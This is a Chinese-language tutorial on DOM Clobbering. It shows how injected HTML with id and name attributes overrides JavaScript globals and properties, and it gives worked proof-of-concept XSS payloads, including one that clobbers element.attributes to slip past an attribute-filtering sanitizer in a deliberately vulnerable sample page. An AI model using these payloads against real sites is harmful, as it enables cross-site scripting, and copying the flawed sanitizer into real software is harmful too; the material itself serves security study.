DOM Clobbering详解
字数 1172 2025-08-22 12:23:36
DOM Clobbering 技术详解
什么是 DOM Clobbering?
简单定义
DOM Clobbering 是一种通过在页面中插入 HTML 代码,改变 JavaScript 中全局变量或对象属性的含义,从而永久改变 JavaScript 执行结果的技术。"Clobbering"一词指的是破坏原有的全局变量或对象属性。
根本原理
当 HTML 标签设置了 id 属性后,可以在 JavaScript 中直接通过 id 值访问该元素:
<input id=x>
<script>alert(x); // 输出: [object HTMLInputElement]</script>
如果 JavaScript 中已存在同名全局变量或对象属性 x,则该变量的含义会被破坏。
利用前提
- 被攻击页面允许用户插入 HTML 代码
- 页面的 JavaScript 脚本使用了类似
a.b.c层级结构的全局变量或对象属性引用来修改页面 DOM
多层引用结构的构造
二层结构
当多个标签具有相同 id 值时,浏览器会自动形成 HTMLCollection,可以通过数字索引或 name 值访问集合中的元素:
<input id=idValue name=x>
<a href="//clobbering" id=idValue name=n>dom clobbering</a>
<script>
alert(idValue); // 输出: [object HTMLCollection]
alert(idValue.x); // 输出: [object HTMLInputElement]
alert(idValue[1]); // 输出: http://clobbering/
alert(idValue.aName); // 输出: http://clobbering/
</script>
注意:使用 id 值访问锚标签时返回的是 href 属性值。
三层及以上结构
利用 iframe 和 srcdoc 可以构造更高层级的结构:
<iframe name=a srcdoc="
<iframe name=b srcdoc='<a id=c name=d href=cid:Clobbered>test</a>'>"></iframe>
<script>setTimeout(()=>alert(a.b.c),500); // 输出: cid:Clobbered</script>
<iframe name=a srcdoc="
<iframe name=b srcdoc='<a id=c><a id=c name=d href=cid:Clobbered>test</a>'>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500); // 输出: cid:Clobbered</script>
注意:需要使用 setTimeout 等待 iframe 渲染完成。
带限制的层级结构
不使用锚标签时,可以通过 HTML 规范中定义的属性名进行引用:
<div id=idValue align=clobbering>
<script>
alert(idValue.align); // 输出: clobbering
</script>
不同的 id 值组合形成 HTMLCollection
表单与表单控件、表单与图像标签间可以形成 HTMLCollection:
<form id=idValue1 name=m>
<input id=idValue2 value="clobbering">
<script>
alert(idValue1); // 输出: [object HTMLFormElement]
alert(idValue1.idValue2.value); // 输出: clobbering
</script>
利用实例
二层结构破坏脚本中的对象引用
<html>
<body>
<a id=name1><a href='cid:"onerror=alert(1)//' id=name1 name=name2> <!-- 攻击者插入 -->
</body>
</html>
<script>
let outdiv = document.createElement("div");
let image = '';
outdiv.innerHTML = image;
document.body.appentChild(outdiv);
</script>
破坏脚本中的属性(property)引用
目标页面代码:
<html>
<body>
<form action="" id="form1">
<input type="text" name="payload" style="width: 500px;height:60px;"><br>
<input type="button" onclick=formSubmit() value="submit">
</form>
</body>
</html>
<script>
function DomBFS(element, callback) {
var queue = [];
while(element) {
callback(element);
if(element.children.length !== 0) {
for (var i = 0; i < element.children.length; i++) {
queue.push(element.children[i]);
}
}
element = queue.shift();
}
}
let blockAttributes = ["onclick", "onerror"];
function formSubmit() {
let f = document.getElementById("form1");
let sandbox = document.implementation.createHTMLDocument('');
let root = sandbox.createElement("div");
root.innerHTML = f.payload.value;
DomBFS(root, function(element){
for(var a = 0; a < element.attributes.length; a+=1) {
let attr = element.attributes[a];
if(blockAttributes.indexOf(attr.name) != -1) {
element.removeAttribute(attr.name);
a -= 1;
}
}
})
document.body.appendChild(root);
}
</script>
Payload:
<form onclick=alert(1)><input id=attributes>Click me
分析:
- 目标页面在对标签属性进行过滤时调用了
element.attributes.length - payload 中设置了 id 为 attributes 的 input 标签,破坏了过滤代码中的 attributes 含义
- 当遍历到 form 标签时,
element.attributes引用的是 input 标签而非 form 的属性 - input 标签的 length 属性未定义,返回 undefined,跳过过滤
参考资料
- Dom Clobbering by Gareth Heyes
- DOM Clobbering strikes back by Gareth Heyes
- XSS in GMail's AMP4Email via DOM Clobbering by Michał Bentkowski
- Dom clobbering by Web Security Academy
- Unsafe Names for HTML Form Controls by Garrett Smith
- 浅谈DOM遍历 by jh903